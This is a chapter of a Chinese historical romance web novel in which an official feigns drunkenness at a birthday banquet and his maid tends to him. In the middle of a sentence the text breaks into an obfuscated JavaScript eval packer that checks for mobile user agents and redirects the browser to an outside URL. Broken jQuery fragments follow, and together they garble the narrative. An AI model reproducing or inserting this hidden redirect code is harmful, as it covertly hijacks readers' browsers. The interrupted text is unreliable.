默认冷灰
24号文字
方正启体

25. 东州6

作者:卿屿眠本书字数:K更新时间:
    是东州监察御史焦邑焦郎君携他的妻子袁丽姬袁氏一同进来了。


    焦郎君面相宽阔,身形板正,袁氏容貌昳丽,身上没有什么繁杂的装饰,倒显得清新淡雅。


    两人步入正堂,朝各位行了一礼,众人也起身回礼祝福:“恭祝焦郎君生辰快乐。”


    “焦某谢过诸位不远千里为我庆生。”


    焦郎君也再次谢过,随即,大手一挥,好几个仆从便端着珍馐、水果、美酒纷纷上桌。


    “今日,我要与诸位不醉不归!”


    焦郎君豪迈地喊完,便小心翼翼地牵着妻子袁氏落座。


    等袁氏先坐下,他才自己坐下。


    坐好后也不停歇,陆续开始给她斟酒,夹菜,剥果。


    有想敬酒的官员见此番场景都要打趣几句:“今日不是焦郎生辰吗?为何还要尽伺候着你娘子?”


    焦郎君耸耸肩笑道:“哈哈哈,你错了,生辰是令人高兴的日子,不是给特权的日子。服侍娘子是我本职,也是我所乐之事。”


    那官员听言也笑了声,立马敬了一杯袁氏:“还是焦夫人驯夫有术,训成这么一个位得体的郎君。那我今就不落俗套祝生辰,而祝两位百年好合,白头偕老,做对生生世世的好夫妻!”


    “多谢。”


    焦郎君同他夫人一起举杯饮下。


    接着,其他官员开始陆续敬他们两夫妻酒,敬一杯酒,说一句祝词。


    很美好,温玉看见袁氏脸上绽放的笑容,很羡慕。


    焦府院中季节未到,睡莲未开,但莲花开在了袁氏的脸上。


    不过有敬声,也有非议声。


    像有些人吃醉了酒就在席间同四周议论:


    “没想到堂堂焦郎君对外都是雷厉风行,对老婆却是服务地周周到到的哈!”


    其他人是微微点头,莫云炜却接起话头,扇着扇子,摇头道:“要我说,焦郎君如此惧内有所不妥。”


    “有何不妥?”


    邻座有想凑热闹的,便也接起茬来,激起莫云炜继续“侃侃而谈”:


    “女子本就柔弱之辈,要是连女人都不能降服,那岂不是比这些女流之辈还弱。


    这不还恰巧证明焦郎君在外面的威风都只是虚张声势?”


    “有道理,有道理。”旁边人听之纷纷附和道。


    张清时微微皱起眉头,不愿同他们攀谈。


    恰巧此时见焦郎君此时身边无人,便端起酒杯走向焦郎君,敬他们夫妻一杯。


    说完简短祝词后,再与焦郎君闲谈些话语。


    刚开始还聊些政治经济方面的见解,但聊着聊着就聊到张清时的近况。


    “张郎君,头一次见你贴身带个丫鬟,怎么?转性子了?”焦郎君看向一旁静静站着的温玉,身子站得挺拔端正,也不与其他人交流,倒颇具张清时的样子。


    张清时摇摇头解释道:“她是我请来照顾花的丫鬟,之前让府内的仆从打理花,都打理的不够好,所以想请些会打理的丫鬟来。”


    “哈哈哈,难怪,我还以为你这小子开窍了呢!”焦郎君见怪似地锤了张清时胸口一拳,“这把年纪还不成家,你家里人不催你?”


    “不催。”张清时微微扯起嘴角,笑容掺杂着些许尴尬。


    袁氏倒读懂了张清时的表情,嗔怪似地看了一眼焦郎君:“你这人懂什么,张郎君定是要先立业再成家的。”


    焦郎君这才恍然大悟:“噢噢噢,对对对,我嘴笨,我嘴笨,张郎君,我自赔一杯。”


    张清时也陪着喝了一杯。


    他不嗜酒,但酒喝得多了,倒也能体会那些嗜酒如命的人的心理。


    清凉苦涩的液体入喉,入心,入胃,倒也能卷走心底一丝苦涩。


    久而久之,迷恋,上瘾。


    闲聊过后,张清时重新回座,席内歌舞平升,他突然开始一杯接一杯的喝。


    温玉起初没有在意,张郎君平时都张弛有度,再说官员喝酒应酬正常不过,便一杯一杯替他倒酒。


    倒着倒着就发现不对劲,他完全是一个人在干喝,且都不带停,喝完就陆续续上。


    虽今日与张郎君起了多番争执,但毕竟是自家郎君,温玉心底还是隐隐生出担忧,小声提醒道:“郎君,莫要贪杯,若喝醉了不好。”


    “无妨~”


    张清时说这话时已然身子轻飘飘的,继而单手撑着额头,伏在桌前。


    而另一旁的莫云炜瞥见便取笑道:“张刺史,你这酒量不行啊,喝一点就醉成这样。”


    “你行,那你就接着喝啊。”


    轻飘飘状态下的张清时仍还坚持用双手支在桌上,强使自己坐直了起来,然后举着酒杯摇摇晃晃地举向莫云炜。


    莫云炜见他这番言语,不屑地冷笑一声,直接端起桌上一杯满酒就灌了进去。


    “好,再来!”


    张清时忽而大声喊道,喝醉酒的他跟往日温文尔雅的样子大相径庭,倒像个小孩子似地要同莫云炜拼酒。


    莫云炜也不愿输气势,默允了张清时的挑战,又端起酒杯一杯一杯同张清时干着,势要比个高下出来。


    温玉在一旁一时之间也不知道先劝哪个酒蒙子好。


    而席间也有不少人注意到这,纷纷问道:“这是哪两位郎君?”


    有人答道:“穿白裳的是青州刺史张清时张郎君,旁边那个则是东州罗圆县县令莫云炜莫郎君。”


    “张清时我听说过,不是听说是‘花面郎君’吗?怎地是副这样酗酒的品性?”


    “恐怕是徒有其名,就脸长那样!”


    “哈哈哈哈。”


    席间有不少人看他两笑话,他两也争气,一个喝得东倒西歪,一个喝得面红耳赤。


    温玉叹气,竟劝不住张郎君,由得他现这样一副狼狈样。


    正当温玉要唤席间侍从备些醒酒汤时,趴伏在桌上的张清时突然伸手,拽了一下温玉胳膊。


    温玉以为他身体不适,俯下身悄声问:“郎君,怎么了吗?”


    “送我回去。”


    张清时低声道,随即又倒在桌面。


    见这情形,温玉只得先跟席间的随从告知郎君离席的理由,没成想,随从竟说已早些在府中备下房间,供张郎君使用。


    并叫了两个随从一同抬着张清时回房,温玉心系张清时安危,也跟着过去。


    一回房,随从将张清时抬至床上后便离开,也没有说替他整理衣裳,洗漱什么的。


    温玉看着不省人事的张清时,微微叹息后自己去抬了一桶水和拿了一块巾帕过来。


    抬水至房中,张清时还躺在床上,身体微微起伏,均匀地呼吸,似乎已睡着。


    随即,温玉便点燃房内烛火,用温水浸湿巾帕,然后过去替他擦洗。


    张清时饮酒不上脸,如玉般细腻的脸庞还是很白,只是唇色红红的。


    温玉将巾帕举至他脸上方,还未擦洗,一滴水珠不自觉地从帕角滴落,落到他的眉心,又顺着笔挺的鼻梁滑落至唇珠。


    倒真像是唇间含着一颗珍珠,令人好奇地想碰一碰。


    温玉唇的一张一阖,今晚一点食物和水她都没吃,嘴唇有些干涸。


    随之,她还是将巾帕拧得更干些,再去轻轻擦洗他的脸庞,如同擦拭瓷器一般


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262257|164753||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    仔细。


    擦拭完脸,再到脖颈,再到……


    温玉的视线停留在他的胸口上。


    好像也替他褪去衣裳才能够擦洗身子吧……


    温玉视线再往下,直至那条缠在腰间的金腰带。


    在烛火下金光闪闪,温玉细指摸了上去,金属的质感是她从未体会过的。


    但还没多停留,她的手就被一双冰凉的手指牵住。


    空灵的声音继而传来:


    “你想做什么?”


    吓得温玉瞳孔立刻骤缩,慢慢将视线往上移:


    本该醉醺醺的张清时他睁开了眼,烛火在他眼中摇曳,炯炯有神。


    吓得温玉立马将手缩回,跪在床侧的地上,匆忙解释道:“奴…奴…奴婢是在替郎君宽衣解带,好让郎君歇息。”


    “我说过不用。”


    “是……”


    温玉头低得深深的,她不知道是碰见鬼了还是怎地,喝得烂醉的张清时怎么会醒呢?


    “你走吧,我醉了,要歇下了。”


    “是。”


    温玉偷偷抬眼时,张清时已经阖上眼睛,似又回到醉态。


    温玉见了也不敢多做些什么动作,心中还有被吓得余悸,便吹息了蜡烛,只身退下。


    退下后,回到长廊上,发现自己还没歇下的地,便开始在府中找丫鬟询问。


    恰逢宴席结束,温玉遇上一个正收拾的丫鬟,问她御史府内丫鬟住处有没有空余的,好让她挤一晚。


    可丫鬟却说要听主母安排,让温玉去找主母,还顺带给她指了路。


    温玉谢过后便朝焦郎君和袁氏住的厢房走去。


    先叩门等应允后再入门。


    一入门便被此番场景惊呆了,袁氏舒适地躺在藤椅上,而焦郎君,一个大官员跪在地上替她洗脚。


    袁氏见温玉这番呆愣的样子也不恼,用团扇点了点焦郎君的头。


    焦郎君立马转身回话道:“别见笑,娘子为我穿衣打扮,坚持到宴席结束实属不易,所以理应替她舒缓一下。”


    温玉不可置信地点了点头,再抬眼看袁氏时,眸子多了一丝崇拜。


    袁氏只是微微笑了一下,便问:“你是张郎君的丫鬟,所来何事啊?”


    温玉:“回袁娘子,郎君吃醉了酒已歇下,但温玉暂没有住处,想向娘子讨一个住处,就同府内丫鬟住在一起就好了。”


    袁氏不紧不慢地摇着团扇,眼眸有些淡然:“你是张郎君府中的丫鬟,不应同他一起宿下,或者是他安排吗?怎么能上我这处讨呢?”


    以为袁娘子是个心善好说话人,但这番话却让温玉刚升起的一丝崇拜又破灭了。


    她跪下行礼道:“郎君吃醉了酒,没法给奴婢安排,所以来求袁娘子来了。”


    “我说,你这小丫头是不是也听不懂话。”袁氏举着一把团扇似要落在温玉的头上,“既然他已醉了,就同他歇一屋就是,我这没有多余的。”


    温玉:“……”


    温玉把乞求的眼神再看向焦郎君,而他则端起水盆催赶道:“宴席已经结束,我们这要歇息了,你快走吧。”


    “是……”


    温玉应声,低着腰退下了。


    回到长廊上,兜兜转转又来到张郎君歇下的厢房门前。


    刚还因为脱衣这件事被赶出去,现在又要求郎君留宿,温玉都没想好该怎么开口。


    正在门前徘徊不前时,身旁多了一丝清爽的风。


    温玉侧身一看,竟是张清时,他是从另一侧回来的。


    而且他这身姿正常,眼神含光,温玉怀疑,张郎君根本没有醉。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)